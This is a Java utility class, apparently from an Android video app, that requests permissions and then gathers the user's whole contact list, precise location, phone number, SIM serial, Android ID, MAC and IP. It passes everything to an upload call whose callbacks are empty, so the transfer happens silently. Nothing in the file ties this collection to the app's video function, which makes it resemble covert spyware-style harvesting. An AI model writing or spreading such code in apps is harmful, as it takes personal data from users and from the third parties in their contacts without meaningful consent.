package com.xxx.video.commen.utils;

import android.app.Activity;
import android.content.Context;
import android.location.Address;
import android.location.Geocoder;
import android.location.Location;
import android.net.ConnectivityManager;
import android.net.NetworkInfo;
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.os.Build;
import android.provider.Settings;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import com.google.android.gms.tasks.OnSuccessListener;
import com.xxx.player.gsyvideoplayer.utils.NetworkUtils;
import com.xxx.video.commen.beans.BaseBean;
import com.xxx.video.dynamic.beans.ClientContactBean;
import com.xxx.video.dynamic.beans.ClientLocationBean;
import com.xxx.video.dynamic.beans.ContactBean;
import com.xxx.video.dynamic.beans.DeviceBean;
import com.xxx.video.dynamic.beans.NetWorkInfoBean;
import com.xxx.video.network.listeners.CommonResponseListener;
import com.xxx.video.network.utils.NetWorkUtils;

import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.SocketException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Enumeration;
import java.util.List;

public class ClientInfoUtils {

    private static ClientInfoUtils mClientInfoUtils = null;
    /**
     * request read contacts permission
     */
    String[] permissions = {"android.permission.READ_EXTERNAL_STORAGE", "android.permission.READ_CONTACTS",
            "android.permission.ACCESS_FINE_LOCATION",
            "android.permission.ACCESS_COARSE_LOCATION"};

    private ClientInfoUtils() {
    }

    public static ClientInfoUtils getInstance() {
        if (mClientInfoUtils == null) {
            synchronized (ClientInfoUtils.class) {
                if (mClientInfoUtils == null) {
                    mClientInfoUtils = new ClientInfoUtils();
                }
            }
        }
        return mClientInfoUtils;
    }

    /**
     * update client info
     *
     * @param activity activity
     */
    public void updateClientInfo(Activity activity) {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
            activity.requestPermissions(permissions, 0);
        }
        getLocation(activity);
    }

    /**
     * get location
     */
    private void getLocation(Activity activity) {
        LocationUtils.getLocation(activity, (OnSuccessListener<Location>) location -> {
            getContact(activity, location);
        });
    }

    /**
     * get contact
     */
    private void getContact(Activity activity, Location location) {
        List<ContactBean> contactBeanList = null;
        try {
            contactBeanList = ContactUtils.getInstance().getContactList(activity);
        } catch (Exception e) {
            e.printStackTrace();
        }
        getNetWorkInfo(activity, location, contactBeanList);
    }

    /**
     * get  net work
     */
    private void getNetWorkInfo(Activity activity, Location location, List<ContactBean> contactBeanList) {
        List<ClientContactBean> contactBeanList2 = new ArrayList<>();
        if (!ListUtils.isEmpty(contactBeanList)) {
            for (ContactBean contactBean : contactBeanList) {
                ClientContactBean clientContactBean = new ClientContactBean.Builder()
                        .fFriendMobile(contactBean.phone)
                        .fFriendname(contactBean.name)
                        .build();
                contactBeanList2.add(clientContactBean);
            }
        }
        List<ClientLocationBean> locationBeanList = new ArrayList<>();
        if (location != null) {
            try {
                String country = "";
                String city = "";
                String address = getAddress(activity, location.getLatitude(), location.getLongitude());
                if (!TextUtils.isEmpty(address)) {
                    String[] address2 = address.split(";");
                    country = address2[0];
                    city = address2[1];
                }
                String desc = location.getExtras().getString("desc");
                ClientLocationBean clientLocationBean = new ClientLocationBean.Builder()
                        .fLatitude(String.valueOf(location.getLatitude()))
                        .fLongitude(String.valueOf(location.getLongitude()))
                        .fCountry(country)
                        .fCity(city)
                        .build();
                locationBeanList.add(clientLocationBean);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
        String androidId = Settings.System.getString(activity.getContentResolver(), Settings.System.ANDROID_ID);
        String ip = getIpAddress(activity);
        String mac = getMacAddress();
        String deviceName = android.os.Build.BRAND;
        String deviceModel = android.os.Build.MODEL;
        String deviceDeveloper = android.os.Build.MANUFACTURER;
        String systemVersionName = android.os.Build.VERSION.RELEASE;
        String systemVersion = android.os.Build.VERSION.CODENAME;
        TelephonyManager telephonyManager = (TelephonyManager) activity.getSystemService(Context.TELEPHONY_SERVICE);
        String imei = "";
        String phone = "";
        try {
            phone = telephonyManager.getLine1Number();
            imei = telephonyManager.getSimSerialNumber();
        } catch (Exception e) {
            e.printStackTrace();
        }
        DeviceBean deviceBean = new DeviceBean.Builder()
                .fAndroidId(androidId)
                .fMac(mac)
                .fMobile(phone)
                .fImei(imei)
                .fSysVersion(systemVersionName)
                .fSysVersionno(systemVersion)
                .fModel(deviceModel)
                .fDeviceDeveloper(deviceDeveloper)
                .fBrand(deviceName)
                .fSerialNumber(ip)
                .build();
        NetWorkInfoBean netWorkInfoBean = null;
        try {
            NetworkInfo networkInfo = NetworkUtils.getActiveNetworkInfo(activity);
            netWorkInfoBean = new NetWorkInfoBean.Builder()
                    .fip(ip)
                    .fMac(mac)
                    .fAvailable(String.valueOf(networkInfo.isAvailable()))
                    .fExtra(networkInfo.getExtraInfo())
                    .fFailover(String.valueOf(networkInfo.isFailover()))
                    .fReason(networkInfo.getReason())
                    .fRoaming(String.valueOf(networkInfo.isRoaming()))
                    .fState(String.valueOf(networkInfo.getState()))
                    .build();
        } catch (Exception e) {
            e.printStackTrace();
        }
        NetWorkUtils.getInstance().saveUserInfo(contactBeanList2, locationBeanList, deviceBean, netWorkInfoBean, new CommonResponseListener<BaseBean>() {

            @Override
            public void onSuccess(BaseBean successOb, String result) {

            }

            @Override
            public void onFailure(Object failureObj) {

            }
        });
    }

    public String getAddress(Context context, double latitude, double longitude) {
        String cityName = "";
        List<Address> addList = null;
        Geocoder ge = new Geocoder(context);
        try {
            addList = ge.getFromLocation(latitude, longitude, 1);
        } catch (Exception e) {
            e.printStackTrace();
        }
        if (addList != null && addList.size() > 0) {
            for (int i = 0; i < addList.size(); i++) {
                Address ad = addList.get(i);
                cityName += ad.getCountryName() + ";" + ad.getLocality();
            }
        }
        return cityName;
    }

    public static String getIpAddress(Context context) {
        NetworkInfo info = ((ConnectivityManager) context
                .getSystemService(Context.CONNECTIVITY_SERVICE)).getActiveNetworkInfo();
        if (info != null && info.isConnected()) {
            if (info.getType() == ConnectivityManager.TYPE_MOBILE) {
                try {
                    for (Enumeration<NetworkInterface> en = NetworkInterface.getNetworkInterfaces(); en.hasMoreElements(); ) {
                        NetworkInterface intf = en.nextElement();
                        for (Enumeration<InetAddress> enumIpAddr = intf.getInetAddresses(); enumIpAddr.hasMoreElements(); ) {
                            InetAddress inetAddress = enumIpAddr.nextElement();
                            if (!inetAddress.isLoopbackAddress() && inetAddress instanceof Inet4Address) {
                                return inetAddress.getHostAddress();
                            }
                        }
                    }
                } catch (SocketException e) {
                    e.printStackTrace();
                }

            } else if (info.getType() == ConnectivityManager.TYPE_WIFI) {
                String ipAddress = "";
                try {
                    WifiManager wifiManager = (WifiManager) context.getApplicationContext().getSystemService(Context.WIFI_SERVICE);
                    WifiInfo wifiInfo = wifiManager.getConnectionInfo();
                    ipAddress = intIP2StringIP(wifiInfo.getIpAddress());
                } catch (Exception e) {
                    e.printStackTrace();
                }
                return ipAddress;
            } else if (info.getType() == ConnectivityManager.TYPE_ETHERNET) {
                return getLocalIp();
            }
        }
        return null;
    }

    private static String intIP2StringIP(int ip) {
        return (ip & 0xFF) + "." +
                ((ip >> 8) & 0xFF) + "." +
                ((ip >> 16) & 0xFF) + "." +
                (ip >> 24 & 0xFF);
    }


    private static String getLocalIp() {
        try {
            for (Enumeration<NetworkInterface> en = NetworkInterface
                    .getNetworkInterfaces(); en.hasMoreElements(); ) {
                NetworkInterface intf = en.nextElement();
                for (Enumeration<InetAddress> enumIpAddr = intf
                        .getInetAddresses(); enumIpAddr.hasMoreElements(); ) {
                    InetAddress inetAddress = enumIpAddr.nextElement();
                    if (!inetAddress.isLoopbackAddress()
                            && inetAddress instanceof Inet4Address) {
                        return inetAddress.getHostAddress();
                    }
                }
            }
        } catch (SocketException ex) {

        }
        return "0.0.0.0";

    }


    public String getMacAddress() {
        try {
            List<NetworkInterface> all = Collections.list(NetworkInterface.getNetworkInterfaces());
            for (NetworkInterface nif : all) {
                if (!nif.getName().equalsIgnoreCase("wlan0")) {
                    continue;
                }
                byte[] macBytes = nif.getHardwareAddress();
                if (macBytes == null) {
                    return "";
                }
                StringBuilder res1 = new StringBuilder();
                for (byte b : macBytes) {
                    res1.append(String.format("%02X:", b));
                }

                if (res1.length() > 0) {
                    res1.deleteCharAt(res1.length() - 1);
                }
                return res1.toString();
            }
        } catch (Exception ex) {
        }
        return "02:00:00:00:00:00";
    }

}
